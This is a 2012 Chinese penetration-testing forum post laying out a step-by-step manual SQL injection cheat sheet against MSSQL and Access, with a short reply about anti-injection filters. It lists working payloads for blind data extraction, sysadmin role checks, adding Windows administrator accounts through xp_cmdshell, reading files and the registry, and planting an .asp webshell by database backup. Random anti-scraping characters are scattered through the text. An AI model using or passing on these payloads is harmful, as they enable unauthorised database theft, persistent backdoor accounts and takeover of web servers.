中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入 % C3 v+ U, f! {2 S3 K# y; q: J
1.判断是否有注入;and 1=1 ;and 1=2 - R6 N3 |, v7 z
  k! p2 c1 e. f% J
2.初步判断是否是mssql ;and user>0 . |+ y) X( E! V/ r
# x* A3 |2 N& Y2 I
3.注入参数是字符'and [查询条件] and ''=' $ b) u& ]) R5 i4 L+ T6 I* _; `/ o
: K' L, p# x4 ?
4.搜索时没过滤参数的'and [查询条件] and '%25'='
* `9 o* c7 S4 p$ ~' F2 \( ^
* A# Q3 l) x" U4 [( W5 u4 B7 f) h5.判断数据库系统
% x2 k% t( L5 X- v4 R, N2 B;and (select count(*) from sysobjects)>0 mssql ) I+ @" ?4 x7 b8 n$ d) {- {2 z" O
;and (select count(*) from msysobjects)>0 access
0 V# q" T) q/ c% B3 T% h+ P8 G* V* i7 Z0 V. j" w# D4 w/ @4 e/ N
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1 C4 h/ L$ _3 T, I9 h# w1 W5 a; W% k# ^
* ^0 h" Q$ [! |6 o
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 : d0 R+ v1 G: h: Y1 n- Z" y

7 s6 R3 ]5 b. C( P- {  S8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 p: s' i3 Z) _. Z% S7 s
! b; F$ Q+ D$ }0 h+ \3 Y/ z
9.(1)猜字段的ascii值(access)
7 f, i8 ^& w) V# ?1 H- F, o/ m;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
  D  u- S% w& @8 [- R) S% A
4 f. }5 E2 Z: u- \(2)猜字段的ascii值(mssql)
6 r1 G9 z& j7 H6 e4 Q( P2 O;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ) F/ e; F* v- u5 r& P" a

. E  L* y2 x" ~+ w4 F10.测试权限结构(mssql) 4 b2 Z( {& @& x; x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' M& p7 m# D- d' G  `;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8 |0 _! M  _+ T; p* n4 K0 t- t
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% P2 B: U9 k# G; p;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . R0 K7 Z8 B5 c9 H
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- z+ U; |; z- h;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + e# u$ H) O" K& d$ H& X9 H
;and 1=(select IS_MEMBER('db_owner'));--
8 T8 t3 o  z9 Z0 S9 K0 }
( d+ C6 b" n) j$ q; G6 Y11.添加mssql和系统的帐户 * s9 @# [- `. E" y# d
;exec master.dbo.sp_addlogin username;--
9 a2 b8 w: z6 ]# @2 b( G0 o
: R6 G9 n2 @1 F3 Q& {# G;exec master.dbo.sp_password null,username,password;-- 3 q! o* Y; H  Q

* f7 h+ z$ h1 }: |& f4 J;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 K" V3 u3 l8 p1 k; m: D$ d

4 b' x* g- i  _, r: T# a;exec master.dbo.xp_cmdshell 'net user username password 4 C  q! {0 y  R/ y" c: L
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ( B$ U, o) G# v1 c7 {7 a
/ N, t! S7 r3 Q3 n- ^
;exec master.dbo.xp_cmdshell 'net user username password /add';-- # ]7 Y2 x8 m' t" z* H. a+ E" R4 A  f1 S

& M( G1 w2 L2 G2 R2 P! l8 D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 5 D# q' ^2 p9 {  n# y/ W/ d% \
$ r2 ^7 f* ]+ ~9 F' B
12.(1)遍历目录 # O9 |; V+ B/ l7 p1 t; r% O
& m$ r, O: f6 d7 X
;create table dirs(paths varchar(100), id int) ! Z7 X; X* ~! ^+ q
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4 G9 W3 B; z0 d# {4 ?
;and (select top 1 paths from dirs)>0
. J8 b8 A9 }! t+ h2 H; a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) - n. I/ }5 S1 ]4 `! [1 S" L
7 m/ x1 H/ z8 s! K0 Z
(2)遍历目录 4 a5 w" Y3 U! `1 v. Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 0 w; ~9 _" f7 l7 {& t, Q: k
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0 G2 s1 g& f4 ]; G, c" {, U
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! w6 g9 m# v" [) Y/ d8 W. \' z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
& c) B  L- H& g- u3 S* k;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
7 I/ K6 R* b% j8 P  x/ Z+ j0 _+ ~: N& N
13.mssql中的存储过程 ' i' A+ o; C: w8 X

5 o4 B! n4 T$ Y/ r7 g! J3 w$ Exp_regenumvalues 注册表根键, 子键
1 A4 k( w1 j$ ~  u* K+ ^1 U;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' ^& |- J( e, l9 a% `, r: z. E
5 V; w( Y3 H- p
xp_regread 根键,子键,键值名
9 K, q: j: z9 L. h, p9 s8 D6 L) Q;exec xp_regread & }! Q6 \0 s; C
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # h# U/ d* s, m- c% a& u' R
, \$ X% K; P. z% X
xp_regwrite 根键,子键, 值名, 值类型, 值 $ V) v& y: r# \  f  h
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
4 e) i+ c4 y4 e* q/ c" D1 b;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
3 E" a, N/ S& e) E& }
% ?% J8 N3 a. ?4 C& l, Ixp_regdeletevalue 根键,子键,值名 7 @7 z4 R1 o" m7 t! @

9 I5 U4 M6 I  y! mexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
/ l3 E1 v) _8 H1 F$ c- |  r6 ~% i( O* b7 K2 y! [
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ; c& a, ]  D& E6 y

/ |: w3 E, W5 r14.mssql的backup创建webshell 4 d& Q4 m* l6 `
use model % Y' m- l; Z, Q% u' f
create table cmd(str image); 7 }$ Y( Z; z% }- Z; J
insert into cmd(str) values (''); ! d* f) U8 |9 j' T( G5 w* ]
backup database model to disk='c:\l.asp';
; ]/ q# M" n6 q: I9 q$ z# J. W. V5 c0 C7 @  x$ c" B! A
15.mssql内置函数 : ?! B( p% y& u1 M
;and (select @@version)>0 获得Windows的版本号 ! T8 t; t3 c) q# J; X
;and user_name()='dbo' 判断当前系统的连接用户是不是sa . t9 t# [3 d* }
;and (select user_name())>0 爆当前系统的连接用户
2 X. V( ^2 Z& v: F0 w% x;and (select db_name())>0 得到当前连接的数据库
: i4 T$ o7 I8 z6 U
: B, Q7 t$ a" C6 C, k% }3 \- Y16.简洁的webshell ; _# s  x5 Y- S" w# E! s
, K( S/ Y- x9 W' f6 n, {" r
use model 1 l) V4 s7 [- E4 ]
7 n, @$ e5 z& r, ]# V
create table cmd(str image); . ]; j- g: T3 u

& {. v+ B; \0 T$ i/ r0 Z5 R* Qinsert into cmd(str) values ('');
/ i8 c+ \; N+ m& @1 z6 w+ k, @9 G+ f/ w1 C# ^% L# |" J9 P  W
backup database model to disk='g:\wwwtest\l.asp';
0 m* U8 J: h! e) W $ t) K  S' o3 T) h( K# D4 B/ b- ]

作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2